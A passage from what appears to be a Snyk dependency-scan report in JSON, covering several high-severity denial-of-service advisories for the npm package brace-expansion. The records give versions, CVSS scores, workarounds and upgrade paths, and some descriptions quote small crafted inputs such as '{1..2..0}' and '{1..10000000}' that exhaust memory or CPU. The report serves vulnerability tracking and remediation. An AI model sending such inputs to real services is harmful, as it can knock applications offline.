"Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub 